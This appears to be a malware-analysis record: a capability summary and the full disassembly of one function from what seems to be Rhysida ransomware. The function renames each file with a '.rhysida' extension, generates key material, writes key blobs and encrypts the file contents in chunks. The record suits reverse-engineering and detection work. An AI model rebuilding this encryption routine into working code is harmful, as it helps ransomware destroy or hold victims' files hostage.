Function at 0x417d25
Capabilities:
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x32d8
call fcn.00448d50
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3280], rcx
mov dword [rbp + 0x3288], edx
mov dword [rbp + 0x3290], r8d
mov dword [rbp + 0x3298], r9d
mov ecx, 0x1000
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3228], rax
mov rax, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3280]
mov rcx, rax
call sub.msvcrt.dll_strcpy
cmp dword [rbp + 0x3298], 1
jne 0x417df5
mov rax, qword [rbp + 0x3228]
lea rdx, [0x0046b345]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x3220], rax
cmp qword [rbp + 0x3220], 0
je 0x417df5
mov ecx, 0x10
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3218], rax
mov rdx, qword [rbp + 0x3218]
mov rax, qword [rbp + 0x3220]
mov rcx, rax
call fcn.0041abda
mov rax, qword [rbp + 0x3220]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp + 0x3218]
mov rcx, rax
call fcn.0044ae60
mov rax, qword [rbp + 0x3228]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov edx, dword [0x0044c034]
mov edx, edx
add rax, rdx
add rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3210], rax
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_strcpy
lea rax, [0x004873d8]
mov eax, dword [rax]
cmp eax, 1
jne 0x417ed1
mov rax, qword [rbp + 0x3210]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x3210]
add rax, rdx
mov word [rax], 0x2e
mov rax, qword [rbp + 0x3210]
lea rdx, str.rhysida
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
mov rax, qword [rbp + 0x3210]
add rax, rdx
mov byte [rax], 0
mov rdx, qword [rbp + 0x3210]
mov rax, qword [rbp + 0x3228]
mov rcx, rax
call sub.msvcrt.dll_rename
mov dword [rbp + 0x324c], eax
jmp 0x417edb
mov dword [rbp + 0x324c], 0
cmp dword [rbp + 0x324c], 0
je 0x417f00
lea rax, [0x00482e20]
mov eax, dword [rax + 0x10]
lea edx, [rax + 1]
lea rax, [0x00482e20]
mov dword [rax + 0x10], edx
jmp 0x41871c
mov rax, qword [rbp + 0x3210]
lea rdx, [0x0046b347]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x3208], rax
cmp qword [rbp + 0x3208], 0
jne 0x417f42
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
jmp 0x41871c
mov dword [rbp + 0x3244], 0
mov rax, qword [rbp + 0x3208]
mov r8d, 2
mov edx, 0
mov rcx, rax
call fcn.00449b50
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call fcn.00449fd0
mov qword [rbp + 0x3200], rax
mov rax, qword [rbp + 0x3208]
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.00449b50
cmp qword [rbp + 0x3200], 0
je 0x4186f7
cmp dword [rbp + 0x3244], 0
jne 0x4186f7
lea rax, [0x00482e08]
mov rcx, rax
call fcn.00442ea0
lea rax, [0x004873e0]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3290]
cdqe
imul rax, rax, 0x44f0
add rdx, rax
lea rax, [rbp + 0x31c0]
mov r8, rdx
mov edx, 0x20
mov rcx, rax
call fcn.004244b0
lea rax, [0x004873e0]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3290]
cdqe
imul rax, rax, 0x44f0
add rdx, rax
lea rax, [rbp + 0x31b0]
mov r8, rdx
mov edx, 0x10
mov rcx, rax
call fcn.004244b0
lea rax, [0x00482e00]
mov eax, dword [rax]
lea r8, [rbp + 0x31c0]
lea rdx, [rbp + 0x31b0]
lea rcx, [rbp + 0x1ff0]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0xe
mov r9d, 0x20
mov ecx, eax
call fcn.00420a50
mov dword [rbp + 0x324c], eax
cmp dword [rbp + 0x324c], 0
je 0x418089
lea rax, [0x00482e08]
mov rcx, rax
call fcn.00443170
jmp 0x41871c
lea rdx, [rbp + 0x1ff0]
lea rax, [rbp + 0x31b0]
mov r8, rdx
mov edx, 0x10
mov rcx, rax
call fcn.00420990
mov dword [rbp + 0x324c], eax
mov dword [rbp + 0x31fc], 0x20
mov dword [rbp + 0x1fec], 0x1000
lea rax, [0x00487350]
mov r8d, dword [rax]
lea rax, [0x00482e04]
mov ecx, dword [rax]
lea rax, [0x004873e0]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3290]
cdqe
imul rax, rax, 0x44f0
lea r11, [rdx + rax]
mov esi, 0xb
lea r9, [rbp + 0x1fec]
lea r10, [rbp - 0x20]
mov edx, dword [rbp + 0x31fc]
lea rax, [rbp + 0x31c0]
lea rbx, [0x00487360]
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x38], ecx
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x28], esi
lea rcx, [0x0046a4e0]
mov qword [rsp + 0x20], rcx
mov r8, r10
mov rcx, rax
call fcn.004230b0
mov dword [rbp + 0x324c], eax
cmp dword [rbp + 0x324c], 0
je 0x418164
mov dword [rbp + 0x3244], 1
cmp dword [rbp + 0x3244], 0
jne 0x4186c1
mov rax, qword [rbp + 0x3208]
mov r8d, 2
mov edx, 0
mov rcx, rax
call fcn.00449b50
mov eax, dword [rbp + 0x1fec]
mov ecx, eax
mov rdx, qword [rbp + 0x3208]
lea rax, [rbp - 0x20]
mov r9, rdx
mov r8d, 1
mov rdx, rcx
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov edx, 1
sub edx, eax
mov eax, edx
mov dword [rbp + 0x3244], eax
cmp dword [rbp + 0x3244], 0
jne 0x418674
mov rdx, qword [rbp + 0x3208]
lea rax, [rbp + 0x1fec]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov dword [rbp + 0x31f8], 0x10
mov dword [rbp + 0x1fe8], 0x1000
lea rax, [0x00487350]
mov r8d, dword [rax]
lea rax, [0x00482e04]
mov ecx, dword [rax]
lea rax, [0x004873e0]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3290]
cdqe
imul rax, rax, 0x44f0
lea r11, [rdx + rax]
mov esi, 0xb
lea r9, [rbp + 0x1fe8]
lea r10, [rbp + 0xfe0]
mov edx, dword [rbp + 0x31f8]
lea rax, [rbp + 0x31b0]
lea rbx, [0x00487360]
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x38], ecx
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x28], esi
lea rcx, [0x0046a4e0]
mov qword [rsp + 0x20], rcx
mov r8, r10
mov rcx, rax
call fcn.004230b0
mov dword [rbp + 0x324c], eax
cmp dword [rbp + 0x324c], 0
je 0x4182ac
mov dword [rbp + 0x3244], 1
lea rax, [0x00482e08]
mov rcx, rax
call fcn.00443170
cmp dword [rbp + 0x3244], 0
jne 0x41864a
mov eax, dword [rbp + 0x1fe8]
mov ecx, eax
mov rdx, qword [rbp + 0x3208]
lea rax, [rbp + 0xfe0]
mov r9, rdx
mov r8d, 1
mov rdx, rcx
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov edx, 1
sub edx, eax
mov eax, edx
mov dword [rbp + 0x3244], eax
cmp dword [rbp + 0x3244], 0
jne 0x418609
mov rdx, qword [rbp + 0x3208]
lea rax, [rbp + 0x1fe8]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x3208]
mov r9, rax
mov r8d, 1
mov edx, 4
lea rax, [0x004873d8]
mov rcx, rax
call sub.msvcrt.dll_fwrite
lea rax, [0x004873d8]
mov eax, dword [rax]
cmp eax, 1
jne 0x4185a6
mov rax, qword [rbp + 0x3200]
mov qword [rbp + 0x31f0], rax
mov dword [rbp + 0x3234], 4
mov rax, qword [rbp + 0x31f0]
shr rax, 2
mov qword [rbp + 0x3238], rax
mov dword [rbp + 0x3230], 0x100000
jmp 0x4183d6
cmp dword [rbp + 0x3234], 1
jle 0x4183cf
sub dword [rbp + 0x3234], 1
mov eax, dword [rbp + 0x3234]
movsxd rdi, eax
mov rax, qword [rbp + 0x31f0]
mov edx, 0
div rdi
mov qword [rbp + 0x3238], rax
jmp 0x4183d6
sub dword [rbp + 0x3234], 1
cmp qword [rbp + 0x3238], 0
je 0x4183f6
cmp qword [rbp + 0x3238], 0xfffff
ja 0x4183f6
cmp dword [rbp + 0x3234], 0
jg 0x41839e
cmp dword [rbp + 0x3234], 0
je 0x418409
cmp qword [rbp + 0x3238], 0
jne 0x41842e
mov dword [rbp + 0x3234], 1
mov rax, qword [rbp + 0x31f0]
mov qword [rbp + 0x3238], rax
mov rax, qword [rbp + 0x31f0]
mov dword [rbp + 0x3230], eax
mov ecx, 0x100000
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x31e8], rax
mov dword [rbp + 0x3248], 0
jmp 0x418585
mov eax, dword [rbp + 0x3248]
cdqe
imul rax, qword [rbp + 0x3238]
mov rdx, rax
mov rax, qword [rbp + 0x3208]
mov r8d, 0
mov rcx, rax
call fcn.00449b50
mov eax, dword [rbp + 0x3230]
movsxd rdx, eax
mov rcx, qword [rbp + 0x3208]
mov rax, qword [rbp + 0x31e8]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov dword [rbp + 0x31e4], eax
mov eax, dword [rbp + 0x3230]
cdqe
cmp qword [rbp + 0x3200], rax
je 0x4184cf
cmp dword [rbp + 0x31e4], 0
jne 0x4184cf
mov dword [rbp + 0x3244], 1
jmp 0x418597
lea r8, [rbp + 0x1ff0]
mov ecx, dword [rbp + 0x31e4]
mov rdx, qword [rbp + 0x31e8]
mov rax, qword [rbp + 0x31e8]
mov r9, r8
mov r8d, ecx
mov rcx, rax
call fcn.00420060
mov dword [rbp + 0x324c], eax
cmp dword [rbp + 0x324c], 0
je 0x41851d
mov dword [rbp + 0x3244], 1
mov dword [rbp + 0x3248], 4
jmp 0x41856a
mov eax, dword [rbp + 0x3248]
cdqe
imul rax, qword [rbp + 0x3238]
mov rdx, rax
mov rax, qword [rbp + 0x3208]
mov r8d, 0
mov rcx, rax
call fcn.00449b50
mov edx, dword [rbp + 0x31e4]
mov rcx, qword [rbp + 0x3208]
mov rax, qword [rbp + 0x31e8]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x31e8]
mov edx, 8
mov rcx, rax
call fcn.0041ff30
add dword [rbp + 0x3248], 1
mov eax, dword [rbp + 0x3248]
cmp eax, dword [rbp + 0x3234]
jl 0x41844e
mov rax, qword [rbp + 0x31e8]
mov rcx, rax
call fcn.0044ae60
cmp dword [rbp + 0x3244], 1
jne 0x4185de
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [0x00482e20]
mov eax, dword [rax + 0xc]
lea edx, [rax + 1]
lea rax, [0x00482e20]
mov dword [rax + 0xc], edx
jmp 0x4185f5
lea rax, [0x00482e20]
mov eax, dword [rax + 8]
lea edx, [rax + 1]
lea rax, [0x00482e20]
mov dword [rax + 8], edx
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x41871c
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [0x00482e20]
mov eax, dword [rax + 0xc]
lea edx, [rax + 1]
lea rax, [0x00482e20]
mov dword [rax + 0xc], edx
jmp 0x41871c
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
jmp 0x41871c
lea rax, [0x00482e08]
mov rcx, rax
call fcn.00443170
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [0x00482e20]
mov eax, dword [rax + 0xc]
lea edx, [rax + 1]
lea rax, [0x00482e20]
mov dword [rax + 0xc], edx
jmp 0x41871c
lea rax, [0x00482e08]
mov rcx, rax
call fcn.00443170
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
jmp 0x41871c
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.00420000
mov dword [rbp + 0x324c], eax
lea rax, [rbp + 0x1ff0]
mov edx, 0x11b8
mov rcx, rax
call fcn.0041ff30
lea rax, [rbp + 0x31b0]
mov edx, 0x10
mov rcx, rax
call fcn.0041ff30
lea rax, [rbp + 0x31c0]
mov edx, 0x20
mov rcx, rax
call fcn.0041ff30
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call fcn.0044ae60
mov rax, qword [rbp + 0x3228]
mov rcx, rax
call fcn.0044ae60
nop
add rsp, 0x32d8
pop rbx
pop rsi
pop rdi
pop rbp
ret